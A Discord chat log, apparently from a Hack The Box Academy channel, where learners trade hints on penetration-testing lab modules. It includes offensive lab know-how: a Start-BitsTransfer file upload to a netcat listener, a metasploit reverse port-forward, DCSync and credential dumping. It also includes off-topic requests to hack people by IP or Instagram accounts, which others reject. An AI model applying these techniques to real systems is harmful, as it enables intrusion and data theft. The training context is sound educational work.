Is there a way to see the hints after subbmiting the answer or is it just best to always check the hint first?

[stuck hull]

Yes. You should be able to see the hints after submission - try refreshing the page.

[rustic sage]

What if the password wasn’t nibbles. What should we do?

[half sapphire]

What should I do after activating machine in HTB

It shows you are offline

[grand harbor]

Refresh

Refresh the page

[half sapphire]

Connect to HTB and show offline

[shut juniper]

This worked. Thank you!

[grand harbor]

Have you connected to the vpn?

[half sapphire]

Not able to connect

[grand harbor]

What?

[half sapphire]

VPN

[grand harbor]

Yes you need to connect first

[half sapphire]

From where?

[grand harbor]

Your attack box

Your kali or parrot machine

[half sapphire]

I have kali

[stuck hull]

Have you done this yet?https://academy.hackthebox.com/module/details/15

That explains how the platform works and how to connect to a box

[grand harbor]

Thanks

[unkempt kiln]

Looking for some help on the Broken Authentication Skill Assessment. I have a list of users and feel I've filtered the list according to the password policy, but I'm unable to login. Anyone finished this that could provide a hint?

[ivory dock]

I finished the SNMP section, but I'm wondering how to know what OIDs to query?

[stuck hull]

My guess would be, unless you know of one through some other enumeration - brute force and look for something interesting.

[ivory dock]

The OID for the script on the host is pretty long and I tried looking it up step by step but the reference page only know up to about half of the full OID

Ah I see

[feral stump]

anyone on Password attacks - section Passwd, Shadow & Opasswd sec

https://academy.hackthebox.com/module/147/section/1319

to get a hint on the question: Examine the target using the credentials from the user Will and find out the password of the "root" user. Then, submit the password as the answer.

thx

[half sapphire]

I not able to open vpnfile

Openvpn academy-regular.ovpn not working in my kali

[spare condor]

@solar granite Hey! Can I DM you regarding this? I guess I found which parameter is vulnerable but I can't see where the output is on the html...

Can you help me with this? I think I found the injection parameter but I can't see the results in the html response

[half sapphire]

It shows option error

Any one??

[stuck hull]

sudo

[spare condor]

@west canopy What do you mean "a little bit off" here?

[half sapphire]

i added that

and as well i have logged in as root

[stuck hull]

Download a new vpn pack

Is the error a certificate error?

[coarse night]

Hello I'm glad I can join this community I don't know where to start

[dapper temple]

Anyone know of any modules or tutorials on how to use UACMe.

I saw it mentioned in the "Printer Operators" tasks from the Windows Priv Esc module.
I tried to use UACme (Akagi64.exe) and used a key which the OS version is vulnerable but it didn't work. I did the exact same thing in the UAC part section and it did work. I just need some more explanation and example usage of this tool.

[uncut meadow]

Hi Team, can somebody give me a hand on the Vulnerability Assessment module, I tried the first Nessus Skills Assesment, spawn the machine Target but seams to be a Linux one and after the scan all Answer are incorrect. The page talk about another ip that I cannot ping, Bref A little bit confused

[trim bramble]

Hi all, on the linux fundementals module I was working on the following question:
Which kernel version is installed on the system? (Format: 1.22.3)
The version on the machine is 5.18.0
But the right answer is: 4.15.0 which is actually an outdated one, I had been searching for quite a while..
Does this often happen with future tasks as well?
If so is it possible to work with an outdated version instead?

[autumn pilot]

Have you logged into the target?

[rustic sage]

Hello! How can I hack a person using their IP adress?
I hacked a lot of people with grabify, want to profit from that.

[autumn pilot]

this is not the place

familiarise yourself with the #rules

[thorn urchin]

lmao you hacked nobody with grabify thats not even hacking

[rustic sage]

Oh I am sorry

[rustic sage]

I get the ip

[thorn urchin]

thats not hacking

IP isnt secret information

its active recon at best

[rustic sage]

It's not the visible ip

It's hardware ip

I just need to know how to use it

[thorn urchin]

that makes 0 sense

skids gunna skid

[trim bramble]

I used spawn target option.

[autumn pilot]

okay, but have you logged into the target?

[thorn urchin]

theres no such thing as "hardware ip", ip addresses are assigned

[autumn pilot]

madf0x, please drop it

[thorn urchin]

ok

[rustic sage]

There is visible ip, sites see it.
There is hardware ip, like a device ID

[trim bramble]

Im guessing I have not logged into the target yet?
as I'm not entirely sure what you mean by that.

[autumn pilot]

use the provided credentials in the section of the module, they are in the exercise

[trim bramble]

ah found it, thanks!

[solid dragon]

Does anyone know how to hack ig accounts?

[rustic sage]

ig?

[solid dragon]

yeah

instagram

[lethal schooner]

lol

[rustic sage]

Oh

Lol

[gentle verge]

💀

[solid dragon]

price?

[uncut meadow]

Is this HTB:academy modules channel a joke?

[rustic sage]

Dms

[thorn urchin]

yall really need to read the rules

[little whale]

ColdWind (762396486679396382) has been banned until 2023-01-31 19:41:34 (UTC).

[autumn pilot]

this is not the place

[thorn urchin]

most of the server channels require being verified to view, but the academy section doesn't, so it often becomes a dumping ground for new people that spam,scam,troll, or just plain dont even glance at the rules

Its always white names causing problems

[uncut meadow]

How can we report them`

?

[thorn urchin]

Tag whatever mod is online atm

I think one of em said there were plans to improve the situation but ya know with servers large as this things move slowly

[tender totem]

How should I learn scripting for pentesting? Should I do it before or during the time I take the Pentesting job path?

[thorn urchin]

Id probably say before hand

you wont need it too much for the course, but a ton of things will be 10x harder if you dont have a little understanding beforehand

[tender totem]

Any tips on how to learn scripting?

[thorn urchin]

Learning scripting isnt much different from learning programing, just at a smaller scale. Start with something like bash scripting since you def use that in the course, and then pickup a little python too. I highly recommend after at least learning a little enough about php to not get totally intimidated reading it.

[lament tartan]

with the hyphen as well lol. that was annoying, i knew the answer immediately but had to submit about 10-20 answers to get it correct 🤦‍♂️

[thorn urchin]

Powershell stuff will also go a long way and is used throughout the course

[tender totem]

Alright, thanks man. I have a good understanding of Python, and I just started a book on bash scripting. Just not sure what I actually need to make

[thorn urchin]

Just remember, you dont need to master the subjects, you just need to understand enough so that when youre looking at it youre not totally lost

[uncut meadow]

I will try to ask my question again as to much trolls wrote at the same time in the chat... Hi Team, can somebody give me a hand on the Vulnerability Assessment module, I tried the first Nessus Skills Assesment, spawn the machine Target but seams to be a Linux one and after the scan all Answer are incorrect. The page talk about another ip that I cannot ping, Bref A little bit confused

[thorn urchin]

Did you log into the target?

they give you a host box that has an internal network with the real targets

[uncut meadow]

how can I log into the target??

[thorn urchin]

It should tell you the creds

[rustic sage]

Hello I need help with the Passwd, Shadow & Opasswd section under Password Attacks module. I have found the passwd.bak and shadow.bak files and transferred them to my host, unshadowed them I believe and then attempted to use hashcat but to avail.

Am I doing something incorrect?

[uncut meadow]

There is just a button to spawn target

[pine dagger]

TBF, it literally is written like that in the text.... :p

[thorn urchin]

Right above the firsr question is says to authenticate as the user htb-student with password

[pine dagger]

Although it would never be written like that by anyone that I've met.

[uncut meadow]

yes I saw that but I dont know how to login

[thorn urchin]

It says in the scneario description to log into the web interface

[uncut meadow]

yes but there is nothing after putting that in my webbrowser

[rustic sage]

I will attempt to use a different wordlist.

[waxen barn]

On AD Skills Assessment II, how do you find the confit file that shows how to connect to the MSSQL instance?

[thorn urchin]

Where do windows users love to stash juicey configuration files?

[rustic sage]

Solution solved, disregard.

[thorn urchin]

ill double check

[lament tartan]

first i didn't even check the text but i did like ||MAC, MAC Address, MAC-Address, Media Access Control, MAC Addressing|| and and a load more i cant remember before i got to the right one 😅 HTB should really apply regex to Qs imo to take various answers and at the very least, trim spaces.. so many times i submit flags with a space at the end

[pine dagger]

I would like them to regex answers yeah

[real cedar]

Cheers, working on Footprinting medium lab right now. Found ||the important file|| but the content gives me a failed login. What am I missing? can't seem to find anything else to work with.

[thorn urchin]

works for me, you using the nessus web interface port? 8834?

[uncut meadow]

yes. but nessus is not the target, it's my computer

[thorn urchin]

I dont have notes on that assessment but is that the one where you find ||the key?|| if so you may have some formatting issues from copy pasting. Was easier to paste into sublime and save it that way.

if thats not what im thinking about then oh well

[thorn urchin]

huh?

[waxen barn]

Ugh I can’t remember

[uncut meadow]

or have I to use a special machine (vm) to make it works

[thorn urchin]

Go through your notes for the module

[thorn urchin]

you've lost me now

[uncut meadow]

ahhahahha

Can I PM you to not poluate the chat??

[waxen barn]

For AD module? Or password attacks?

[thorn urchin]

Sure

[thorn urchin]

for AD module

They cover it pretty explicitly in one of the sections

[uncut meadow]

@real cedar continue footprinting to be sure you can continue with it... the password only is not working

[feral stump]

DM if you still have issues

[fathom pendant]

It's a channel that does not require verification of account to access

[real cedar]

Is it about ||the port 1433 not being used but 1434? Havent seen the typical 1433 with netstat. If not, I'll continue looking.||

[waxen barn]

Thanks! I’ll go look now

[waxen barn]

I looked there before but somehow missed it. I feel like an idiot lol. Thank you!

[thorn urchin]

Np it happens, aggressive note taking helps alot with these modules!

[stuck hull]

I learned my lesson after footprinting lol

[thorn urchin]

My notes from when I started to now are night and day

[fathom pendant]

"oh it also is doing this function... That helps me with my foothold"

[thorn urchin]

To the point ive considered redoing earlier modules just to re-up my assessment notes

[fathom pendant]

That's kinda what I'm doing as I redo my notes, including rerunning the labs

[thorn urchin]

Theres a lot of common questions that Im just like, "welp my notes literally dont exist, and I was able to answer it a couple weeks after I did it from memory, but its been too long now"

[fathom pendant]

^

[stuck hull]

It makes me take 3 times as long as the time on the module, but hey - I suppose it's good practive

[terse nimbus]

Hi

[fathom pendant]

"oh yeah for this remote protocol I need to add a semicolon after everything"

[thorn urchin]

Yeah but the alternative is you get people who dont take notes then take literal weeks on the assessment. Good notes saves time overall.

[terse nimbus]

I'm new to this the hack the box
But could someone help me with a problem with a tier1 machine?

[thorn urchin]

wdym tier 1 machine

this is for academy content, if its not module related, ask a more relevant channel. Verify your account if you cant see em

#welcome

[terse nimbus]

Ok I'll see there then, thanks!

[stuck hull]

I'm working my way through File Transfers: Miscellaneous File Transfer Methods.

In the PowerShell Session File Transfer section. Is the computer DC01 a compromised machine, and DATABASE01 another machine that we are trying to transfer files to?

[simple zephyr]

Password Attacks in Pass the Ticket from Linux, here is an image of my setup. What am I missing. I am getting connection refused. I have verified that NfdDml is the right one, but converting it and running it on the windows machine.

nevermind I got it, had to remove the proxychain that was already in there

[devout torrent]

I have a question. I am doing the "getting started" module, and the question is

"Perform an Nmap scan of the target and identify the non-default port that the telnet service is running on. "

If i do the nmap -p- "ip", scan it shows an error of "Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn"

But if i do a -Pn with it the scan just seems to go to infinity.

Is there a realistic command that I could do

[thorn urchin]

its not going on infinity, its just taking a long time

[devout torrent]

( waiting for 30minutes now )

[thorn urchin]

you can drop -p- and let it default scan the top most common ports, can feed it timing flags like -T5 to speed it up, or add verbose output -v so you can see it is indeed doing stuff

You should also try manually pinging the target to make sure its up and reachable

[amber jungle]

You could always try a --top-ports 1000

[devout torrent]

I know its reachable, since I was able to -p8080 for the previous question, and it turned out the result ( also did the ping 😛 )

[thorn urchin]

then yeah more patience or any of the other flag options I suggested

[stuck hull]

Are you sure the target machine hasn't run out of time?

[thorn urchin]

that too

[devout torrent]

I just checked that too, and if i do any single use ports it scans in 3sec

[thorn urchin]

often for actual boxes ill do a lighter initial scan and then do a full scan in the background while I'm investigating other stuff cause yeah a -p- is going to take awhile.

On a live across the internet box a -p- scan can be a couple hours or more

[devout torrent]

I just came here, since it felt like a long time to do the question for such a rudimentary question

[stuck hull]

Yeah, tbh I don't remember it taking that long - it would have stuck out I'm sure. Which section are you in in that module, I'll have a look.

see if it does the same for me

[devout torrent]

Pentesting Basics - Service Scanning

[stuck hull]

Some machines for me have been a bit slow today

[devout torrent]

But regardless thank you madfox 4st1nus and moondark for all the informations (figured its stupid to @ ping for a thank you)

[thorn urchin]

as long as you dont dm without asking I dont care lol

also if you're gunna stick around the server you should probably verify your account #welcome

[stuck hull]

So many random DM's I don't even answer that many questions lol

[thorn urchin]

its just guranteed ignore

[devout torrent]

done!

[stuck hull]

So I've had a look and you don't need to do a full scan with -p-

just a normal scan will give you the answer

look for unusually high numbers.

or run a normal scan with -sV

[devout torrent]

Did you have to do the -Pn ?

[stuck hull]

Nope

Reset your target machine.

[devout torrent]

I did it like 6 times, but after an hour on this question, I felt asking in modules was my only hope

[stuck hull]

So when you do nmap <IP> it says that the target might be down?

[thorn urchin]

also are you on the pwnbox or in vpn

[devout torrent]

I am on pwnbox

[thorn urchin]

hmm usually connection is better in pwnbox

[devout torrent]

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn

[stuck hull]

are you 100% sure you're typing the right IP?

[devout torrent]

like I said I answered the previous question and when I do the -v like madf0x suggested, I do see the progress

[stuck hull]

but if you've reset your machine, you might just be pinging someone else's now.

[devout torrent]

This is what I get now

when i do the -v

it scans

and then it stops

[stuck hull]

run nmap on this:

[devout torrent]

fuck me

[stuck hull]

Yeah, I think you were typing the wrong IP or something.

Well done! Delete your spoiler though.

[thorn urchin]

I dont see a spoiler

[devout torrent]

Well, thank you for your help boys

[devout torrent]

i removed it

[thorn urchin]

gotcha

[fathom pendant]

I've done that

[stuck hull]

lol me too. For ages, that's why I was sure that was the issue. Past pain.

[simple zephyr]

Password Attacks - Pass the Ticket (PtP) from Linux

Use the LINUX01$ Kerberos ticket to read the flag found in \DC01\linux01. Submit the contents as your response (the flag starts with Us1nG_).

This one has stumped me, I thought I found another ticket after running linukatz with root on MS01. It was bi3e6S, but when I go to convert it I get errors. If someone can give me a nudge for the flag.

[graceful rampart]

Remember that LINUX01$ is the machine account. The section talks about impersonating the machine account

[simple zephyr]

Thanks when I get back to my computer I’ll read up on that a bit more

[steady prism]

Happy New Year all. I'm stuck on the hard Lab Footprinting I managed top get the version of SNMP

can anyone provide a tip please

I've spent a couple of days enumerating the services

[thorn urchin]

Did you enumerate the snmp service?

[low mica]

can anyone help with the "password Attacks" module?

[thorn urchin]

http://dontasktoask.com

[rich vale]

lesson learned on trying to just do the AD module... skills assessment been kicking my ass for a bit now lol

[thorn urchin]

its one of the most challenging modules in the whole course

the second assessment took me 8 hours

[graceful rampart]

AD In general is very very challenging

[rich vale]

I got around halfway through the Offshore pro lab and realized I needed some more time with AD, so I just decided to jump into this one

[low mica]

ok, i am on the password reuse/Defaults module. it says to gain the credentials for mysql but i saw the conf file and the only ip for it is in the target pc so i cant use brute force attacks. its also a loopback address host. the user mysql. i just need to find a way to get around root to manipulate the conf file to open the port up

[thorn urchin]

You are grossly off base with what you need to do

[graceful rampart]

ok, so im running into another issue with the pivoting module. This time on the meterpreter section. Again im trying to get a meterpreter session from the internal windows host. I can see the connection come through if i set up a nc listener on the ubuntu host. However, im not getting a callback on my Attack machine. Even using netcat, nothing comes through. Any ideas why? This is my reverse port forward command: portfwd add -R -l 8081 -p 8443 -L 10.10.14.67

[thorn urchin]

the module is about password reuse and default creds, messing with config files is entirely out of scope

[thorn urchin]

your image literally has a connection coming in?

[graceful rampart]

Thats on the ubuntu machie

sorry

should have clarified

I get nothing on my attack machine

[thorn urchin]

sure you got all your payload settings correct?

[graceful rampart]

Im double checking now, but im 99% sure i did everythign correctly

[thorn urchin]

tbh I dont like metasploit port forward at all and basically drained most of my knowledge about it immediately after I didnt need it anymore

[graceful rampart]

Yea, im not such a fan either. Just curious as to why its not working

[swift forge]

Question regarding Windows Fundamentals Skills Assessment. Could anyone guide me on how to create a new security group? I can't remember that be taught in the module

[graceful rampart]

Alright. I give up with metasploit port forwarding lmao.

[low mica]

i see, but the port to mysql is closed. how am i suppose to test creds if it is closed?

[graceful rampart]

iirc you should have ssh creds from the previous exercise.

[low mica]

i do, i tested both. none worked.

[thorn urchin]

yeah you're supposed to login with the previous creds then try to find the mysql creds

[low mica]

i get stopped for not having root permissions

[graceful rampart]

They arent mysql creds lol. You need to ssh to the machine to access mysql

[thorn urchin]

what were you trying to run that gave you root perm error?

[low mica]

i do ssh in, that is the only way to test them as i stated the only access is a local host

[thorn urchin]

its the only access you need

the mysql client from localhost can access the server just fine

[graceful rampart]

Now all you need to do is read the section. What you need to do is explained in the section very very clearly

[thorn urchin]

the port is only closed externally

[graceful rampart]

Think about the name of the section

[low mica]

i ssh into the target pc then try to access mysql from inside with the creds from previous section. it did not work

[thorn urchin]

no no

you ssh with creds from the previous section then you try to figure out the mysql creds

[graceful rampart]

Again, think about the name of the section

Everything you need is given to you in the section

[low mica]

yea. use mysql as the user and then use the old passwords with it

[graceful rampart]

Youre completely glossing over half of the section title

[thorn urchin]

who said mysql was the user?

[low mica]

its in the confd file

[thorn urchin]

and who said it was old password for the password?

[graceful rampart]

Bro forget about the conf

[thorn urchin]

thats for the server user, not the db user

[graceful rampart]

Just think about the title of the section. Thats it. Telling you anything more than that is borderline giving you the answer

[thorn urchin]

the mysql server runs as the mysql user for its process. It has its own authentication for the actual database stuff. Thats what youre trying to get into.

another way to look at it, reusing the creds for ssh already satisfies the password reuse half of the section.

[woeful ermine]

thanks. I ve been looking at the screen more than an hour without any ideas. But. after reading your comment. I ve finished it within 5 min

[low mica]

i used both creds from within target machine.

[thorn urchin]

@low mica hey dont take this the wrong way here but I need you to do a couple of very specific steps okay?

[low mica]

ok

[thorn urchin]

Are you with me?

[low mica]

yes

[thorn urchin]

First, I want you to type out the full section name

right here in chat to me

[low mica]

Password Reuse/Default Password

[thorn urchin]

Okay good

Now, when you ssh in, what part of the section name did you use?

[low mica]

sam

[pastel ginkgo]

I believe the issue with it is a bandwith one. Theres not enough bandwidth on the VPN for it to work. I was only ever able to get it to work from Pwnbox

[thorn urchin]

no, section name, not user name

which aspect of the section name did you utilize

[low mica]

password reuse

[graceful rampart]

Ah. I see.

[thorn urchin]

Okay good

so password reuse checked off

so what part of the section name do you think needs to be used for the next part of the question?

[low mica]

default password?

[thorn urchin]

Good good

now, where in the module do they mention a tool for checking default passwords?

[low mica]

default creds sheet

[thorn urchin]

Good

Thats all, have fun and good luck

[low mica]

thanks my guy

[rich vale]

so after getting the admin ntlm hash and verifying that auth works on the DC, im a bit stumped on the ideal next move

[thorn urchin]

np

[thorn urchin]

don't know what question/module youre on but getting admin hash to DC and authing is usually gg you win right there

[graceful rampart]

NTDS.dit is always juicy

[rich vale]

@thorn urchin its the skills assessment so i know im looking for the flag which i feel like i can get with what i have

but bigger picture, not sure what the next real world move would be

rdp to the machine, or some sort of shell?

[thorn urchin]

Yeah

or just DCsync

[graceful rampart]

That would depend on your goal, and whether you're trying to avoid being caught.

[swift forge]

Is anyone available to help me with creating a security group? Everywhere I look it says to do it through Active Directory but I cannot access that through the workstation

[thorn urchin]

admin on domain controller is basically endgame unless youve got multiple forrests or you got in in day 2 of a two week assessment

[graceful rampart]

nut generally youd opt for some form of shell on the DC

[rich vale]

so i did a dcsync to get the hash im using, would you gain anything new by doing dcsync again using the admin ntlm hash?

[thorn urchin]

no

youd DCsync if you had gotten the admin hash some other way and wanted to dump all the users hashes

[low mica]

its completed. i found it. greatly appreciate it

[thorn urchin]

gratz

Remember, very rarely do you have to reach outside of exactly what the section says to do. Assessments are mote likely to demand some creativity, but if youre trying something totally outside the sections content youre probably on the wrong path unless you really know what you're doing (using ffuf yo make inclusion module easier for example)

even in those scenarios it should be, "I know exactly what it intends, but I have a better way"

[low mica]

yea i went far right for sure lol im starting to see that its easy to overthink these modules

[rich vale]

seems pretty accurate, this whole skills assessment is much easier using a pivot... wish i had done that whole module first

[thorn urchin]

Yeah using pivots has been my number 1 recommendation for people doing the AD assessment

it led me into a minor trap that took a little thinking to get out of, but other than that it made the rest of my life easier

[graceful rampart]

They dont tell you to use pivots in the AD section?!?

How tf do you do AD without pivoting 😆

[thorn urchin]

Nope, but its after the pivoting module in the course

[swift forge]

Any help with creating a security group?

[thorn urchin]

youre supposed to be able to connect the two pieces of knowledge together on your own.

[graceful rampart]

fair point

[thorn urchin]

sorry not ignoring you, I just havnt done that module and don't know at all.

presume same goes for others in chat right now

[swift forge]

I can't find anything on how to create a security group in the module either and this is a beginner module

[rich vale]

most of the individual sections are already configured and it seems pretty self contained using the existing tools, but the skills assessment is a different beast

[thorn urchin]

yeah cause the assessment gives you a realistic foothold and says good luck

[rich vale]

i had the wrong impression about the modules though, i assumed they were built mostly as stand-alone elements

[thorn urchin]

Some are

[rich vale]

if i had known that, i wouldve approached it differently

since i was just looking for an AD-specific track to brush up while doing Offshore

[thorn urchin]

I mean its definitely entirely doable without it, its just a lot harder if you dont know pivots at all

and adding pivots to the module would be a bit out of scope

[graceful rampart]

Yea thats a fair point

[rich vale]

ive done some pivoting before, but it definitely caught me unprepared here. was already using the pivoting in Offshore

but the SA definitely was easier by just doing what was needed lol

without the pivot, i was trying to use enter-pssession... and that was just janky

[thorn urchin]

Personally I also just prefer dropping minimal amount of tools on the target, and you autobypass av and edr if you stick with network tools where you can, so I did the majority of the lab using the linux options wherever reasonable to do so. Thatd been absolutely impossible without pivoting.

there was just one moment where the linux analog for a certain tool returned mostly the same information but crucially not the piece I needed.

[rich vale]

skills assessment pt 1... finally lol

[thorn urchin]

oh that was the pt 1 you were on lol

get ready, pt 1 was the warm up, pt 2 is the ride

pt 1 was like two or three hours for me, pt 2 was a full 8 hours, just for context. Youre mileage will obv vary

[steady prism]

yes i did and its v3

[swift forge]

Ok I think I found the cmdlet to add a security group but powershell is not recognizing it

[steady prism]

tried to use braa with no go

[thorn urchin]

did you find the community string first

[steady prism]

no

no result as cant scan snmpv3 without auth

[swift forge]

Ok I'm fairly confident I found the cmdlet to make the security group but Powershell won't recognize, anyone got any ideas?

[thorn urchin]

either youre making an assumption here or Im severely misremembering that lab

[steady prism]

the lab has 6 ports open imap,pop3, ssh and udp 161

snmp is v3 and im unable to find anything using braa snmpwalk is only for 1 and 2c

[thorn urchin]

well I dont have time to double check that lab right now, so unfortunately good luck

hard lab right? I may be able to double check it later after dinner plans

[steady prism]

if anyone can throw me a hint i would appreciate it. Thanks for responding @thorn urchin

[steady prism]

🖖

[fathom pendant]

What is broken about it?

[tepid thicket]

target machine unreachable

[fathom pendant]

Are you connected to VPN?

[tepid thicket]

yes...

[fathom pendant]

Have you tried resetting the machine?

[tepid thicket]

i've tried spawning machines from other modules and have had no issues connecting to those. i've had the same issue for a few days with only windows privesc

yes...

[fathom pendant]

And you've tried connecting to it using the methods provided?

[tepid thicket]

are you able to connect to the machine?
windows privilege escalation skills assessment I

[fathom pendant]

I'm busy working rn gimme an hour to see unless someone else that's done windows priv-esc can give you more info

[graceful rampart]

Remember that windows by default has a firewall turned on and thus will not respond to pings

[fathom pendant]

^

You'll run into many things where just pinging will get you dead in the water

Some of the modules, or sections, nmap won't get you anywhere because it's a webpage requiring website enumeration

[tepid thicket]

🤮

[tepid thicket]

thank you

[graceful rampart]

Its never a good idea to blindly rely on ping for host discovery. 99% Of firewalls will drop ICMP Packets

If you know a machine is up but it isnt responding always use the -Pn nmap flag (It disables ping host discovery)

[tepid thicket]

i'm familiar with the flag. never come across a scenario where it was needed in 3+ years of hack the box though. definitely some valuable real world advice and i appreciate that

thanks again

[graceful rampart]

Np

[drowsy sedge]

Hello, please can someone explain why this code doesn't work

#!/bin/bash
arr=(1 2 3 4 5)
for i in $arr
do
echo $i
done

it just prints 1

[tepid thicket]

$arr will not expand the array
you need to use something more like "${arr[@]}"

[drowsy sedge]

Thank you

it works

[half sapphire]

After joining machine. How we know what to do in HTB

[fathom pendant]

well if you're doing a module from http://academy.hackthebox.com then whatever the module is teaching you to get the question asked; if you're doing a box from http://www.hackthebox.com then your question is going to be better in #boxes ; I recommend starting with the Starting Point/Getting Started sections

[half sapphire]

I want to solve problems only

[fathom pendant]

Well if you want to know what to do; you can always look up how to get into the system or get the information you are looking for. But if you do not know how to start; then it's kinda hard to help you

But if you're just looking to answer questions on the academy side without actually reading the module then you're not really learning

[steady prism]

can anyone give me a hint for the Footprinting - Hard Lab

[fathom pendant]

as the modules mostly walk you through

[fathom pendant]

may I dm to know where you're at on the footprint - hard to avoid spoiler?

[steady prism]

sure

[hybrid agate]

hi

[graceful rampart]

Another question about the pivoting module 😅 :

In the section "SSH for Windows: plink.exe" you are encouraged to boot up a windows attack box and use plink to establish a dynamic port forward. Problem is, im getting the shown error when trying to connect to the target. Anyone know how to fix it? Ive tried updating to the newest version of putty, ive tried newer plink.exe binaries, ive tried old ones. Nothing seems to work. Before anyone asks, yes im connected to the vpn. I can ping the target as shown

[wheat garden]

Think you might need to modify your openvpn configuration file on the windows host

[graceful rampart]

Hmm. I didnt think of that. Ill give it a try

[wheat garden]

something to do with the encryption of your host and target not agreeiing on a protooll

[graceful rampart]

Yea, i assumed it was to do with ssh

[wheat garden]

might be an option in the ovpn configuartion file where you can choose an encryption might try to force it to only use 1 kind of encryption. Probably older weaker encryption might make it succesfull

[graceful rampart]

nope. Not a vpn thing

its an issue with putty

research has confirmed lol

[wheat garden]

whats wring with it?

[graceful rampart]

I have no idea lol

thts the problem

Everything i can find just says update putty to the latest version, but my putty is already updated

[wheat garden]

I mean if its issues with the programming then might just move on unless you want to delve into the source code and fix it and recompile it lol

[graceful rampart]

lmao. Nah im good

was just hoping someone would show up with some voodoo magic to get ti working lol

[fathom pendant]

use linux :^)

there's the voodoo

[graceful rampart]

Lmao. For most things I do. But i do want to know how to do it from a windows machine

[wheat garden]

ive run into issues with the linux kernel causing bugs and kernal programming way freaking beyond me lol. Then you just try to fond work arounds

[wheat garden]

this

just do a work around

[fathom pendant]

Nah I know that Tux is attempting to do it the way nature intended

because it insinuates using a windows host

[graceful rampart]

If youre trying to evade detection connecting from a linux machine in a primerily windows environment will get you caught almost instantly

Im just tryna learn as much as i can lol

[fathom pendant]

imagine learning

[graceful rampart]

You never know. One day youll be doing an assesment and youll need to create a dynamic port forward from a windows machine. Then youll wish you figured this issue out lol

[wheat garden]

no necessarily. Its all just data and packets going across a network. Alot of linux tools mimick the data just as if its coming from a windows host

[graceful rampart]

Thats 110% not true lol

Its very easy to tell the difference between a windows and linux machine from a defense perspective

[fathom pendant]

^ I forget how it's done usually it's through the default ping requests that happen prior to an attack that blanket check for ports

[graceful rampart]

Yea

Cuz you can determine OS based on TTL of ICMP packets

[fathom pendant]

can you modify TTL; yes

[graceful rampart]

you can change the TTL tho

[wheat garden]

if your just looking at network packets they can be spoofed unless the defender can reach the attackers actual machine with a scan of somekind.

[fathom pendant]

but USUALLY most people don't

[graceful rampart]

but there are other ways of differentiating between windows and linux machines

especially if you have admin access to the domain lol

[fathom pendant]

sips idk much about blueteam side stuff

[graceful rampart]

I dont either. I just know it can be done

Ive never really delved into blue team stuff but this one example of a time when it would be really good to know some blue stuff

[fathom pendant]

I think really to be effective at pentest/red team, you should at least know how blueteam detects you

i.e. firewall rules and stuff like that\

[graceful rampart]

Yea

Of course

but the more you know the better

Best way to avoiud being detected is to know how people try to detect you

[fathom pendant]

even if it's basics like, usually port 53 is used as a zone transfer and is trusted by internal networks

[graceful rampart]

And i wanna work my way up to red teaming eventually so this is all stuff i gotta know

[graceful rampart]

well yea of course

Same thing with 80 and 443

altho using port 80 can set off flags sometimes

[fathom pendant]

that's why it's usually proxied as 8080 yeah?

i forget what 443 often is proxied as

[graceful rampart]

8443

[fathom pendant]

ah yeah

[graceful rampart]

very creative lol

[wheat garden]

APTS (advanced persistent threats) like intel and nation state cyber warfare commands. THey usually will create custom tools and software from scratch tailored to the computers and network theyre trying to target. Costumed designed to get around their particular defenses nad software configurations.

[fathom pendant]

I know most of my basic networking ports though because I have an actual net+ cert

[graceful rampart]

yes i know

[fathom pendant]

and you know what it comes in handy

[graceful rampart]

nice

[fathom pendant]

I JUST THOUGHT of something that can help me with my lab notes in obsidian; create a common port checklist; then delete the ones that aren't scanned

[graceful rampart]

Could be useful lol

[thorn urchin]

sounds tedious but whatever works for you

[graceful rampart]

(were getting grossly off topic here btw)

[fathom pendant]

anyway about that module that does the thing

[graceful rampart]

lmao

[fathom pendant]

but no redoing my notes is giving me a decent refresher (I'm definitely not procrastinating moving forward, nope, no sir, not me)

[graceful rampart]

I would still like an answer to my plink.exe issue if anyone has one

[graceful rampart]

lmao

I always do that. And then i start the next module and im like "This is awesome, im learning so much, why didnt i start this sooner??"

[thorn urchin]

I didnt do the plink part

[graceful rampart]

ah rip. Well, i posted it in #1024429874246590575 hopefully someone comes along and can figure it out

[wheat garden]

I tried and failed like him and just moved on since they kinda just wanted you to try it out and not actually try and get a flag.

[thorn urchin]

or I did and I blanked it from memory entirely

[graceful rampart]

I dont like leaving the answer as "it didnt work". I always want to know why it didnt work and how to fix the problem. Thats just how i am

But i am sufficiently stumped here

[thorn urchin]

looking it up seems like an old version issue

[graceful rampart]

Ive tried almost every version at this point

[thorn urchin]

so may be either using a too old or too new version for the target

[fathom pendant]

either way not possible because it just wasn't intended

[tiny ember]

So i'm trying to practice some of the file transfer methods from the comproised machine (windows) to my linux machine. Doc state to run nc -lvnp 5000 which i have done. On the windows box i'm running the following:

Start-BitsTransfer -Source "C:\Users\htb-student\test_file.txt" -Destination "http://<my-ip>:5000" -TransferType Upload

I see the request hit my box but no data from the file comes through, just the headers

also from the Bits protocol docs its not entirely clear how it is sending the binary data, whether in http body or wtf it is: https://learn.microsoft.com/en-us/windows/win32/bits/bits-upload-protocol

also.... I ||fucking ||hate windows

oh, i wonder if it fails cause its waiting for a response: https://learn.microsoft.com/en-us/windows/win32/bits/create-session

to Ack before sending the file

I wrote a little python flask app to accept the weird BITS_POST method but flask comes back as nothing sent via the http body, and Windows box says a thing about a bad response from the server

okay... good talk 🤣

[worn anvil]

Hi I’m on introduction to networking and I can’t solve this question my understanding is lacking here after spending 3 hours on it and using chat GPT as well

It says I need to split CIDR 10.200.20.0/27 into 4 subnets and give the 3rd then the 2nd network addresses as the answers is anyone able to point out the gap in my understanding for this? If this is the wrong place to ask please ignore

[wheat garden]

might help you https://www.subnet-calculator.com/

[wheat garden]

me too and killgates

[wheat garden]

always find python http server a very reliable method. My favorite is is base64 method if the file is small enough as it technically doesn't require any network connection . Just need to be able to copy paste and decode

[worn anvil]

Thanks CHAD I’m gonna try this out, I haven’t felt so entertained by learning something new in a long time

[wheat garden]

a linux tool called sipcalc is also usefull and can run in a terminal

[bitter wraith]

Guys did anyone manage to finish the "Whitelist Filters" section off of File Upload Attacks? DM would be greatly apreciated!

[bitter wraith]

Help pl0x

[brisk geode]

can anyone help me with the
Vuln assessment > Nessus Skills Assessment?

i dont know how to get the pre scanned output and the web interphase they talked about seems dead

[thorny solstice]

I’am stuck at Password Attacks Lab - Hard I have found the password of user D**** but it isn’t possible to rdp in. Also not possible to change user. do anyone have a hint for me?

[solar granite]

Sure. DM me if you still need help

